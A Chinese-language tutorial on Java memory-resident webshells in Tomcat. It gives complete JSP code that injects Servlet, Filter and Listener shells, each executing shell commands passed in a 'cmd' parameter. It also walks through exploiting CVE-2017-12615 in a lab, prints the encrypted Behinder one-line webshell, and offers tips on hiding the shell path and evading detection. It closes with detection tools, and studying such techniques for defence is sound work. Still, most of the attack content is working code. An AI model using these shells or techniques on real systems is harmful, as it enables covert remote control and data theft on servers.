一、概述

1.1 webshell 发展历程

1. 大马 (功能丰富的Webshell)

在早期,攻击者倾向于上传一个功能强大、界面友好、代码量大的 Webshell。这个 Webshell 就像一个迷你的服务器控制面板,可以方便地进行文件管理、命令执行等操作。

2. 小马拉大马

随着安全产品的普及,大马由于其代码特征过于明显,很容易被查杀。为了绕过检测,攻击者开始采用“小马”策略。他们先上传一个代码量很小、功能单一的“小马”,这个小马的核心任务就是通过网络请求等方式,从远程服务器下载并执行一个功能强大的“大马”。这样,服务器上只有小马的文件,不易被检测,而大马则在内存中运行或临时存在,实现了隐蔽性。

3. 一句话木马

这是一个更进一步的简化。攻击者发现,即使是“小马”,也可能会有固定的代码特征。于是,他们将 Webshell 压缩到极致,只剩下一行代码,其功能就是接收并执行外部的命令。这使得 Webshell 的文件体积极小,代码特征难以被传统的特征库捕捉。

4. 加密一句话木马

当一句话木马的固定特征被安全产品识别后,攻击者又开始了加密和混淆的对抗。他们对一句话木马的代码进行各种编码(如 Base64、异或加密),使得代码在静态时无法被肉眼或简单的扫描工具识别,必须在运行时才能解密执行。

5. 加密内存马

这是目前最先进、最隐蔽的 Webshell 形式。为了完全摆脱文件落地,攻击者利用服务器的漏洞直接在内存中注入一个恶意的组件(如 Filter、Servlet),这个组件同样是加密和混淆的。由于恶意代码从头到尾都没有写入磁盘,它彻底规避了基于文件的安全检测,是当前安全防御面临的主要挑战之一。

1.2 什么是内存马

内存马,又称无文件 WebShell,是一种在服务器内存中运行的恶意程序。与传统的 WebShell 不同,它不会以文件的形式落地到磁盘上,而是利用 Java ClassLoader 机制、反射调用、动态字节码生成等方式直接将恶意逻辑加载进内存并执行,因此常规的文件系统扫描和杀毒软件很难发现它的存在。

那有的同学可能会问了?这种方式为什么能链接呢?内存马的原理就像是MVC架构,即通过路由访问控制器,我通过自身的理解,概述的说一下, 内存马的原理就是在web组件或者应用程序中,注册一层访问路由,访问者通过这层路由,来执行我们控制器中的代码

内存马具有以下特点:

  • 不写入磁盘,难以被文件监控系统发现
  • 服务器重启后会消失(非持久化)
  • 难以通过常规方法检测和清除
  • 可以绕过Web应用防火墙(WAF)的检测

1.3 内存马类型

根据内存马注入的方式,大致可以将内存马划分为如下两类:

Servlet-API型(核心逻辑:动态注册 Web 组件)

这类内存马的本质是利用“命令执行”等方式, 动态注册一个新的 Listener、Filter 或者 Servlet,通过这些组件执行恶意代码,且全程不落地文件。 特定框架、容器的内存马原理与此类似,如 Spring 的 controller 内存马,Tomcat 的 valve 内存马。

类型

说明

常见目标

示例

Servlet 内存马

注入自定义 Servlet 对象到 Tomcat 的内存结构中,注册到 Servlet 容器中,实现请求执行恶意代码

Tomcat、Spring Boot

通过反射获取 StandardContext.addServlet() 注册恶意 Servlet

Filter 内存马

动态向 Web 容器注册恶意 Filter,拦截 HTTP 请求执行恶意逻辑

Tomcat、Spring、JBoss

注册恶意 Filter 处理器,常用于命令执行

Listener 内存马

注入自定义的监听器(Listener),利用容器事件触发恶意操作

Tomcat、Spring Boot

注册恶意 ServletRequestListener

Valve 内存马

利用 Tomcat 的 Valve 链机制注入恶意 Valve,几乎不可见

Tomcat

修改 StandardContext.pipeline 注入自定义 Valve

Controller 内存马

通过 SpringMVC 动态注册恶意 Controller 路由

Spring Boot、SpringMVC

反射注册 RequestMappingHandlerMapping 新路径

字节码增强型(核心逻辑:修改已有代码)

这类内存马不新增组件,而是利用 Java 的 Instrumentation 接口,动态修改服务器中已存在的类的字节码,在原有逻辑中插入恶意代码,实现 “无文件注入”。

类型

说明

目标

特点

Agent 内存马

利用 java.lang.instrument.Instrumentation 注入恶意类到 JVM

任意 Java 应用

无需依赖 Web 环境,可修改任意类行为

Transformer 内存马

通过 ClassFileTransformer 修改已加载类的字节码

JVM 层

通常用于修改安全检测或添加隐藏逻辑

其它分类

图片引用自: https://www.anquanke.com/post/id/284235

1.4 内存马的应用场景:

前提条件是 RCE,内存马的注入代码本身不是发起攻击的起点,它只是攻击的第二阶段(持久化和隐蔽化)。

一个典型的利用内存马的攻击流程如下:

阶段

攻击行为

目的

0. 侦察

攻击者发现目标应用使用 Tomcat 和某个存在 RCE 漏洞的组件(如 Fastjson、Shiro、Spring)。

确定攻击路径。

1. 入侵(RCE)

攻击者构造恶意的 Payload,触发 RCE 漏洞。

在目标服务器上获得第一次任意代码执行的能力。

2. 注入(Injection)

攻击者利用 RCE 的能力,执行你提供的 JSP 注入代码,将代码动态注入到 Tomcat 内存中并注册 /shell 恶意 Servlet。

将一次性 RCE 升级为永久性、隐蔽性的后门。

3. 远控(C2)

攻击者无需再次利用 RCE 漏洞,直接访问 http://target.com/shell?cmd=ls。

隐蔽控制服务器,进行内网渗透、数据窃取等活动。

二、背景知识

1. Java web 三件套

以 Java Web 为例,在Java Web中有三大组件分别是 Servlet、Filter、Listener

组件

作用

生命周期触发点

Servlet

处理客户端请求并生成响应。它是核心的请求处理器。

客户端请求匹配到其 URL 模式时。

Filter

拦截请求和响应,进行预处理和后处理(如日志记录、编码、权限校验等)。可以形成“过滤器链”。

客户端请求匹配到其 URL 模式时,在 Servlet 执行之前和之后。

Listener

监听 Web 应用、Session、Request 等对象的生命周期事件或属性变化事件,执行相应的操作。

特定事件发生时(如应用启动/销毁、Session 创建/销毁、Request 初始化/销毁)。

Servlet(服务器端程序)

Servlet 是运行在服务器端的 Java 程序,用来处理客户端(通常是浏览器)发送的请求,并返回响应。

作用:

  • 接收并处理 HTTP 请求(如 GET、POST 等);
  • 生成响应数据(HTML、JSON 等);
  • 是 MVC 模式中“控制层(Controller)”常用的实现方式。

生命周期方法:

  1. init():初始化,只在第一次创建时调用一次;
  2. service():处理每次请求;
  3. destroy():在容器销毁时调用一次,用于释放资源。

配置方式:

  • 传统方式:在 web.xml 中配置 <servlet> 与 <servlet-mapping>
  • 现代方式:使用注解 @WebServlet("/path")

示例:

@WebServlet("/hello")
public class HelloServlet extends HttpServlet {
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        resp.getWriter().write("Hello, Servlet!");
    }
}

Filter(过滤器)

Filter 是一种请求/响应的拦截器,位于客户端与 Servlet 之间,用于对请求和响应进行预处理或后处理。

作用:

  • 登录验证、权限检查;
  • 日志记录、性能统计;
  • 统一编码处理(如 UTF-8);
  • 响应内容压缩或修改。

执行流程:

请求 → Filter1 → Filter2 → ... → Servlet → ... → Filter2 → Filter1 → 响应

生命周期方法:

  1. init():初始化;
  2. doFilter():核心逻辑,执行过滤;
  3. destroy():销毁时调用

示例:

@WebFilter("/*")
public class EncodingFilter implements Filter {
    public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain)
            throws IOException, ServletException {
        req.setCharacterEncoding("UTF-8");
        chain.doFilter(req, resp); // 继续执行下一个 Filter 或 Servlet
    }
}

Listener(监听器)

Listener 是一种事件监听机制,用于监听 Web 应用中对象的创建、销毁、属性变化等事件。

主要由三部分构成:

  1. 事件源:被监听的对象。
  2. 监听器:监听的对象,事件源的变化会触发监听器的响应行为。
  3. 响应行为:监听器监听到事件源的状态变化时所执行的动作。

作用:

  • 监听应用(ServletContext)、会话(HttpSession)、请求(ServletRequest)的生命周期;
  • 用于统计在线人数、加载全局配置、监控对象变化等。

示例:

@WebListener
public class AppListener implements ServletContextListener {
    public void contextInitialized(ServletContextEvent sce) {
        System.out.println("应用启动");
    }
    public void contextDestroyed(ServletContextEvent sce) {
        System.out.println("应用关闭");
    }
}

2. Tomcat

简单理解,tomcat 就是:http服务器 + servlet容器。

  • tomcat 作为 servlet 容器,将 http 请求文本接收并解析,然后封装成 HttpServletRequest 类型的 request 对象,传递给 servlet。
  • 同时会将响应的信息封装为 HttpServletResponse 类型的 response 对象,然后将 response 交给 tomcat,tomcat 就会将其变成响应文本的格式发送给浏览器。

​

Tomcat 架构设计

前面提到过,Tomcat 的本质是一个 Web 服务器 + 一个 Servlet 容器,那么它必然需要处理网络的连接与 Servlet 的管理,因此,Tomcat 设计了两个核心组件来实现这两个功能,分别是连接器和容器,连接器用来处理外部网络连接,容器用来处理内部 Servlet,用一张图来表示它们的关系:

一个 Tomcat 代表一个 Server 服务器,一个 Server 服务器可以包含多个 Service 服务,Tomcat 默认的 Service 服务是 Catalina,而一个 Service 服务可以包含多个连接器,因为 Tomcat 支持多种网络协议,包括 HTTP/1.1、HTTP/2、AJP 等等。一个 Service 服务还会包括一个容器,容器外部会有一层 Engine 引擎所包裹,负责与处理连接器的请求与响应,连接器与容器之间通过 ServletRequest 和 ServletResponse 对象进行交流。

一个 Engine 可以对一个或多个host,也就是虚拟主机,一个host可以对应多个context,也就是web应用,一个context对应多个wrapper,也就是servlet。这个映射关系,通过mapper组件来关联,mapper组件保存了Web应用的配置信息,容器组件与访问路径的映射关系。Host容器的域名,Context容器中的web路径,Wrapper容器中的servlet映射的路径,这些配置信息是多层次的Map。

根据请求定位到指定 servlet 的流程图如下:

3. Java反射

图解:


反射提供的功能,能在运行时(动态)的

1.获取一个类的所有成员变量和方法

2.创建一个类的对象

a.获取对象成员变量&赋值
b.调用对象的方法
c.判断对象所属的类

在注入内存马的过程当中,可能需要用到反射机制,例如注入一个 servlet 型的内存马,我们需要使用反射机制来获取当前的 context,然后将恶意的 servlet(wrapper)添加到当前 context 的 children 中。

在使用Java反射机制时,主要步骤包括:

  1. 获取 目标类型的 Class 对象
  2. 通过 Class 对象分别获取 Constructor 类对象、Method类对象 & Field 类对象
  3. 通过 Constructor类对象、Method类对象 & Field类对象分别获取类的构造函数、方法&属性的具体信息,并进行后续操作

4. Java instrumentation

Instrumentation 是 Java 提供的一个来自JVM的接口,该接口提供了一系列查看和操作Java类定义的方法,例如修改类的字节码、向 classLoader 的 classpath 下加入jar文件等。使得开发者可以通过Java语言来操作和监控JVM内部的一些状态,进而实现Java程序的监控分析,甚至实现一些特殊功能(如AOP、热部署)。

Java agent 是一种特殊的Java程序(Jar文件),它是 Instrumentation 的客户端。与普通 Java 程序通过main方法启动不同,agent并不是一个可以单独启动的程序,而必须依附在一个Java应用程序(JVM)上,与它运行在同一个进程中,通过 Instrumentation API 与虚拟机交互。

在注入内存马的过程中,我们可以利用 java instrumentation 机制,动态的修改已加载到内存中的类里的方法,进而注入恶意的代码。

三、内存马实现

Servlet型

这里以 tomcat 的 servlet API 型内存马为例讲一下内存马的实现。

一旦注入成功,只要 Tomcat 进程不重启(即便删掉shell文件),这个 Servlet 就会一直驻留在内存中处理请求,而在文件系统中找不到任何痕迹。

环境版本:Tomcat 9.0.112 (版本 ≠ Tomcat 9 ,代码规范不同,代码可能会报错)
JDK 1.8

1. 新建项目:

选择 Maven Archetype,在 Archetype 搜索 " webapp ",选择 org.apache.maven.archetypes:maven-archetype-webapp( 标准 Java web应用)。

2. 添加依赖与 tomcat 服务器

修改 pom.xml

打开项目根目录下的 pom.xml,在 <dependencies> 标签内添加添加 Tomcat Servlet API(可选,Tomcat 提供,仅用于编译,避免报红):

 <dependency>
      <groupId>javax.servlet</groupId>
      <artifactId>javax.servlet-api</artifactId>
      <version>3.1.0</version>
      <scope>provided</scope> <!-- 编译使用(不报红),运行时仍由Tomcat提供 -->
    </dependency>
    <dependency>
      <groupId>org.apache.tomcat</groupId>
      <artifactId>tomcat-catalina</artifactId>
      <version>9.0.112</version>
      <scope>provided</scope>
    </dependency>

配置 Tomcat 运行环境

添加 tomcat 服务器,本地

选择发布类型为 MemoryShellStudy:war exploded(修改后无需重新打包、重启服务器)

PS:可以把下方的 Application context 建议改成 /,这样 URL 更短(方便后面测试)。

3. 编写注入代码 (Payload)

在 webapp 目录下新建:memhorse.jsp 内容如下:

<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>
<%
    // 创建恶意Servlet
    Servlet servlet = new Servlet() {
        @Override
        public void init(ServletConfig servletConfig) throws ServletException {
        }

        @Override
        public ServletConfig getServletConfig() {
            return null;
        }

        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            String cmd = servletRequest.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = servletResponse.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }

        @Override
        public String getServletInfo() {
            return null;
        }

        @Override
        public void destroy() {
        }
    };
%>
<%
    // 使用反射从 ServletContext 获取 StandardContext(兼容 Tomcat 9)
    org.apache.catalina.core.ApplicationContextFacade facade =
            (org.apache.catalina.core.ApplicationContextFacade) application;

    java.lang.reflect.Field field = org.apache.catalina.core.ApplicationContextFacade.class.getDeclaredField("context");
    field.setAccessible(true);
    org.apache.catalina.core.ApplicationContext appContext =
            (org.apache.catalina.core.ApplicationContext) field.get(facade);

    field = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("context");
    field.setAccessible(true);
    StandardContext standardCtx = (StandardContext) field.get(appContext);

    // 用 Wrapper 封装恶意 Servlet
    org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();
    newWrapper.setName("jweny");
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());

    // 添加 Wrapper 到 children
    standardCtx.addChild(newWrapper);

    // 添加 ServletMapping(兼容 Tomcat 9.0.21+)
    standardCtx.addServletMappingDecoded("/shell", "jweny", false);
%>

代码解释:代码分为两个主要的 <% ... %> 脚本块:

  • 第一个块定义了一个匿名 servlet 类,servlet 的主要作用是接收一个名为 "cmd" 的 HTTP 参数,并在服务器上将其作为系统命令执行,然后在响应中返回输出。
  • 第二个块使用反射将此 servlet 集成到 Tomcat 上下文中,将自定义 servlet 添加到当前 Web 应用程序的上下文中,使 servlet 可以通过 URL 路径 "/shell" 访问,而无需重启服务器或编辑配置文件。

4. 运行和测试复现

启动服务器,访问:http://localhost:8080/memhorse.jsp,执行JSP,注入恶意Servlet

访问 http://localhost:8080/shell?cmd=whoami

内存马注入成功!

重启Tomcat,内存马消失

使用新增 servlet 的方式就需要绑定指定的URL。如果我们想要更加隐蔽,做到内存马与URL无关,无论这个url是原生 servlet 还是某个 struts action,甚至无论这个url是否真的存在,只要我们的请求传递给 tomcat,tomcat 就能相应我们的指令,那就得通过注入新的或修改已有的 filter 或者 listener 的方式来实现了。

Filter型

filter型内存马如下,其它配置同上。

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.*" %>
<%@ page import="java.util.*" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page contentType="text/html;charset=UTF-8" %>

<%
    // 1. 获取当前 StandardContext
    ServletContext servletContext = request.getServletContext();
    StandardContext standardContext = null;

    // 不同的 Tomcat 获取方式可能略有不同,这里通过 ServletContext 的 field 获取
    try {
        Field contextField = servletContext.getClass().getDeclaredField("context");
        contextField.setAccessible(true);
        Object applicationContext = contextField.get(servletContext);
        Field standardContextField = applicationContext.getClass().getDeclaredField("context");
        standardContextField.setAccessible(true);
        standardContext = (StandardContext) standardContextField.get(applicationContext);
    } catch (Exception e) {}

    String filterName = "charsetFixedFilter";

    // 2. 检查是否已经注入过
    if (standardContext != null && standardContext.findFilterDef(filterName) == null) {

        // 3. 定义恶意 Filter
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {}

            @Override
            public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
                HttpServletRequest request = (HttpServletRequest) req;
                String cmd = request.getParameter("cmd");

                if (cmd != null && !cmd.isEmpty()) {
                    // 执行命令逻辑
                    boolean isWin = System.getProperty("os.name").toLowerCase().contains("win");
                    String[] cmds = isWin ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};

                    // 核心修复:根据 OS 选择读取编码
                    String charset = isWin ? "GBK" : "UTF-8";

                    ProcessBuilder pb = new ProcessBuilder(cmds);
                    pb.redirectErrorStream(true);
                    Process process = pb.start();

                    // 使用正确的 charset 读取 cmd 输出
                    InputStream in = process.getInputStream();
                    BufferedReader reader = new BufferedReader(new InputStreamReader(in, charset));
                    StringBuilder result = new StringBuilder();
                    String line;
                    while ((line = reader.readLine()) != null) {
                        result.append(line).append("\n");
                    }

                    // 设置响应头,告诉浏览器用 UTF-8 显示(Java 内部转换后统一为 UTF-8 输出)
                    res.setContentType("text/html;charset=UTF-8");
                    res.getWriter().write("<pre>" + result.toString() + "</pre>");
                    res.getWriter().flush();
                    return;// 拦截后续链,防止返回 404
                }
                chain.doFilter(req, res);
            }

            @Override
            public void destroy() {}
        };

        // 4. 创建 FilterDef 并注册
        FilterDef filterDef = new FilterDef();
        filterDef.setFilterName(filterName);
        filterDef.setFilterClass(filter.getClass().getName());
        filterDef.setFilter(filter);
        standardContext.addFilterDef(filterDef);

        // 5. 创建 FilterMap 并绑定 URL
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(filterName);

        // 设置为最先执行 (DispatcherType.REQUEST)
        filterMap.setDispatcher(javax.servlet.DispatcherType.REQUEST.name());
        standardContext.addFilterMapBefore(filterMap);

        // 6. 将 Filter 放入 FilterConfigs 中,使其生效
        try {
            Field configsField = standardContext.getClass().getDeclaredField("filterConfigs");
            configsField.setAccessible(true);
            Map filterConfigs = (Map) configsField.get(standardContext);
            Constructor<?>[] constructors = ApplicationFilterConfig.class.getDeclaredConstructors();
            constructors[0].setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructors[0].newInstance(standardContext, filterDef);
            filterConfigs.put(filterName, filterConfig);
            out.println("Success! Filter Shell Injected.");
        } catch (Exception e) {
            out.println("Error: " + e.getMessage());
        }
    } else {
        out.println("Filter already exists or failed to get context.");
    }
%>


访问任意Servlet路由都可以执行命令

Listener 型

Listener 型内存马相比 Filter 型更加隐蔽,因为它在请求到达 Filter 之前就被触发了。在 Tomcat 中,我们通常实现 ServletRequestListener 接口,这样每当一个新的请求产生时,我们的恶意代码都会运行。

Listener 内存马实现代码:

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.*" %>
<%@ page import="java.util.*" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
    /**
     * 第一部分:获取 StandardContext
     */
    ServletContext servletContext = request.getServletContext();
    StandardContext standardContext = null;

    try {
        // 反射获取 ApplicationContext
        Field contextField = servletContext.getClass().getDeclaredField("context");
        contextField.setAccessible(true);
        Object applicationContext = contextField.get(servletContext);
        
        // 反射获取 StandardContext
        Field standardContextField = applicationContext.getClass().getDeclaredField("context");
        standardContextField.setAccessible(true);
        standardContext = (StandardContext) standardContextField.get(applicationContext);
    } catch (Exception e) {}

    // 检查是否已经注入
    boolean isInjected = false;
    Object[] listeners = standardContext.getApplicationEventListeners();
    if (listeners != null) {
        for (Object l : listeners) {
            if (l.getClass().getName().contains("ListenerShell")) {
                isInjected = true;
                break;
            }
        }
    }

    if (standardContext != null && !isInjected) {
        
        /**
         * 第二部分:定义恶意 Listener
         * ServletRequestListener 会监听每一个请求的创建
         */
        ServletRequestListener listener = new ServletRequestListener() {
            @Override
            public void requestInitialized(ServletRequestEvent sre) {
                HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
                String cmd = req.getParameter("cmd");

                if (cmd != null && !cmd.isEmpty()) {
                    try {
                        // 1. 跨平台命令包装
                        boolean isWin = System.getProperty("os.name").toLowerCase().contains("win");
                        String[] cmds = isWin ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
                        String charset = isWin ? "GBK" : "UTF-8";

                        // 2. 执行命令
                        Process process = Runtime.getRuntime().exec(cmds);
                        InputStream in = process.getInputStream();
                        BufferedReader reader = new BufferedReader(new InputStreamReader(in, charset));
                        
                        StringBuilder sb = new StringBuilder();
                        String line;
                        while ((line = reader.readLine()) != null) {
                            sb.append(line).append("\n");
                        }

                        // 3. 回显结果
                        // 在 Listener 中获取 Response 对象比较特殊,通常通过反射从 Request 中获取
                        Field requestField = req.getClass().getDeclaredField("request");
                        requestField.setAccessible(true);
                        Object tomcatRequest = requestField.get(req); // org.apache.catalina.connector.Request
                        
                        // 获取 Response 并写入内容
                        Method getResponseMethod = tomcatRequest.getClass().getMethod("getResponse");
                        Object tomcatResponse = getResponseMethod.invoke(tomcatRequest);
                        Method getWriterMethod = tomcatResponse.getClass().getMethod("getWriter");
                        PrintWriter writer = (PrintWriter) getWriterMethod.invoke(tomcatResponse);
                        
                        writer.write("<pre>" + sb.toString() + "</pre>");
                        writer.flush();
                        
                        // 注意:Listener 无法像 Filter 那样中断链条,但可以通过抛出异常或直接 flush 结束
                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                }
            }

            @Override
            public void requestDestroyed(ServletRequestEvent sre) {}
        };

        /**
         * 第三部分:注册 Listener
         */
        // 将定义的 Listener 添加到 StandardContext 的监听器列表中
        standardContext.addApplicationEventListener(listener);
        
        out.println("Success: Listener Memory Shell Injected.");
    } else {
        out.println("Status: Listener already exists or injection failed.");
    }
%>


Filter vs Listener 内存马对比

特性

Filter 内存马

Listener 内存马

触发顺序

较早(在 Servlet 之前)

最早(在 Filter 之前)

中断请求

容易(直接 return)

较难(需通过 Response 对象手动 flush)

注册复杂度

较高(需操作 3 个对象)

较低(直接 addEventListener)

隐蔽性

高(Web.xml 不可见)

极高(更底层的事件监听)

四、靶场复现

在 vulhub 上找了一个环境:tomcat/CVE-2017-12615,进行内存马的使用场景演示。

Tomcat 版本:8.5.19

漏洞原理:当 Tomcat 运行在 Windows 操作系统时,且启用了 HTTP PUT 请求方法(例如,将 readonly 参数由默认值 true 设置为 false),攻击者可通过构造数据包向服务器上传包含任意代码的 JSP 文件,恶意代码能被服务器执行。

虽然 Tomcat 对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用 / )来绕过了限制。

直接发送以下数据包即可在Web根目录写入shell:

PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

shell

修改GET为PUT上传方式,添加文件名1.jsp/,添加冰蝎 shell 脚本

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>


使用冰蝎访问

添加内存马


这里选择 AgentNoFile,没有勾选防检测(实际测试中可以选上)

成功连接内存马

Agent 内存马解释

冰蝎支持 Java Agent 内存马注入,相比普通的 Filter 或 Servlet 内存马,Agent 内存马通过 Java 底层的 Instrumentation 机制直接修改现有类的字节码,隐蔽性极高,常规的扫描工具很难发现。

通过 Javagent 技术 attach 到 JVM,然后修改 web 应用在 jvm 里面的相关关键类,比如随便找一个接口或者父类,如果正常 web 请求进来会去使用这个接口的实现或父类的子类的某些方法,那么就可以去构造恶意类实现对应接口或者继承对应子类,写入 webshell 逻辑实现内存马,使处理逻辑会触发我们构造的恶意类逻辑即可。

Java Agent 简介:

在 Java1.5 以后引入了 JavaAgent 技术,Java Agent 能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法。

JavaAgent 其实也就是一个 Jar 包,只是启动方式和普通 Jar 包有所不同,对于普通的Jar包,通过指定类的 main 函数进行启动,但是 Java Agent 并不能单独启动,必须依附在一个 Java 应用程序运行。而它的启动方法共有两种,一种的方法是 premain,一种是 agentmain

  • jvm方式:实现 premain方法,在JVM启动前加载。// jvm 参数形式启动,运行此方法。
  • attach方法:实现 agentmain方法,在JVM启动后加载。// 动态 attach 方式启动,运行此方法。

其中 jvm方式,也就是说要使用这个 agent 的目标应用,在启动的时候,需要指定 jvm 参数-javaagent:xxx.jar。而当目标应用程序启动之后,没有添加 -javaagent 加载我们的 agent,但我们希望目标程序使用我们的 agent,这时候就可以使用 attach 方式来使用。

两种启动方式的对比:

特性

JVM 启动方式 (Premain)

Attach 方式 (Agentmain)

触发时机

JVM 启动时,main 函数执行前

JVM 已经运行后的任意时刻

参数设置

启动命令行添加 -javaagent:jar路径

无需预设,通过另一个程序调用 VirtualMachine.attach

入口函数

public static void premain(String args, Instrumentation inst)

public static void agentmain(String args, Instrumentation inst)

内存马场景

较少见。因为需要重启服务且修改启动脚本。

极常见。冰蝎、哥斯拉等工具主要使用这种方式,因为它能“空降”到运行中的服务器。

无论是 premain 还是 agentmain,JVM 都会传给你一个 Instrumentation 实例。

1. 注入类型

冰蝎提供了两种 Agent 注入方式:

Agent:

  • 原理:传统的 Java Agent 注入。通常需要先在目标服务器的临时目录(如 /tmp)上传一个 .jar 代理文件,然后利用 VirtualMachine.attach 接口让 JVM 加载这个文件。
  • 缺点:会在磁盘留下文件痕迹(虽然可以随后删除),容易触发文件监控告警。

AgentNoFile (推荐):

  • 原理:无文件 Agent 注入。这是冰蝎的杀手锏。它利用 Linux 的内存文件系统(如 memfd_create)或通过复杂的内存映射技术,直接将 Agent 的字节码注入 JVM,整个过程完全不落地到物理磁盘。
  • 优点:极难被传统的 EDR 或主机安全产品监控到。

2. 注入路径

稍后连接内存马的地址

默认是 /memshell。注入成功后,可以通过 http://目标IP:端口/memshell 来连接这个新的后门。

实际注入中可以改成 /favicon.ico、/js/jquery.min.js 、/robots.txt等伪装路径。注意不要影响正常业务访问。

3. 防检测功能

勾选此项后,冰蝎会尝试修改 JVM 的关键内部变量(例如清除 attach 相关的能力),让其他工具(如 Arthas 或 各类内存马扫描器)无法再次“连接”到这个 JVM 进程。

双刃剑:

  • 一旦开启了这个,自己在本地练习时也无法使用 Arthas 来观察它了,因为它把路给“封死”了。
  • 不仅别人查不了你,你自己也无法再次注入新的马,直到容器重启。

五、内存马检测与排查

这里以 tomcat 服务器中的内存马为例,总结一下查杀的手段。

Springboot 项目通常是一个 jar 包启动的,这种情况下没办法像 tomcat 环境下,通过JSP脚本来执行任意代码来杀掉内存马。

对于这种 jar 包启动的项目,想要杀掉内存马其实可以通过打反序列化漏洞链子把修复代码打进去,其实就相当于漏洞的反向利用了,但这要求应急人员对内存马和 java 反序列化漏洞有较深的理解。

而这就不得不提一个致命的问题了:

服务能重启吗?

  • 能 → 直接重启解决
  • 不能 → 服务很重要 → 你敢打反序列链子进去么?打崩了怎么办?→ 不敢打,没法重启 → GG

因此就目前来看在 Web方面 jar 包启动的项目想要杀掉内存马最简单的办法就是重启了,如果不允许重启的话,就只能在 Waf 方面做手脚,把内存马的映射地址给拦截掉之类的。

出于上述问题,其实针对内存马的查杀更多的应用场景还是 Tomcat 服务器,jar 包的通常重启完事了,不能重启的想必也不敢打链子进去。

因此这里我们是针对 Tomcat 下的内存马做查杀。

方法介绍

方法1、arthas(仅排查)

阿里提供的 jvm 诊断工具

项目地址:https://arthas.aliyun.com/doc

arthas 主要就是通过人工分析内存,尝试找到一些关键业务接口的实现类,查看关键类的字节码的实现,是否存在恶意逻辑;或者尝试找一些 servlet 组件的接口或父类,查看接口实现实例或者子类实现逻辑,是否存在恶意逻辑,来确定是不是真正的内存马。

简单的说,对于应急人员来说,他就是提供了一个获取所有 jvm 类名包名的工具,这个工具集成了 dump 指定类字节码的功能,你发现了可疑类之后,就可以借助这个来排查。

方法2、Copagent(仅排查,只适用于 jdk1.8)

项目地址:https://github.com/LandGrey/copagent

基于 Alibaba Arthas 编写,基于规则自动分析 JVM 中所有的 Class,根据危险注解和类名等信息 dump 可疑的组件,结合人工反编译后进行分析。

copagent 使用 java agent 技术获得了全部的类,判断其包名、实现类名、接口名、注解来提取关键类,并根据类是否在磁盘上有资源链接对象、类中是否包含恶意行为关键字来判断其是否为内存马。

方法3、java-memshell-scanner(可查可杀,推荐)(JSP 脚本,不能用在 jar 包服务)

脚本:https://github.com/c0ny1/java-memshell-scanner/blob/master/tomcat-memshell-scanner.jsp

c0ny1师傅写的脚本,这个 jsp 脚本通过一些方法拿到 StandardConetext,然后借助其找得到 servletMap、Listenerlist、filterMap 这些列表,这些列表有此 web 应用里所有的 servlet、listerner、filter 的实例。

通过名称、对应的 Class 是否存在来判断是否是内存马,优点在于一个简单的 JSP 文件即可结合人工审查(类名和 ClassLoader 等信息)对内存马进行查杀,也可以对有风险的 Class 进行 dump 后反编译分析。

因为是几年前的祖传代码,只能查杀 servlet-api 类型的,这里再推荐一个基于原脚本更新的一个版本:

https://github.com/ruyueattention/java-memshell-scanner

新增 tomcat-vlaue、websocket、timer、ugrade、executorshell 内存马的查杀逻辑,并给上一些 tips,帮助不太懂内存马的同学更好的进行分析。

方法4、dump 内存分析

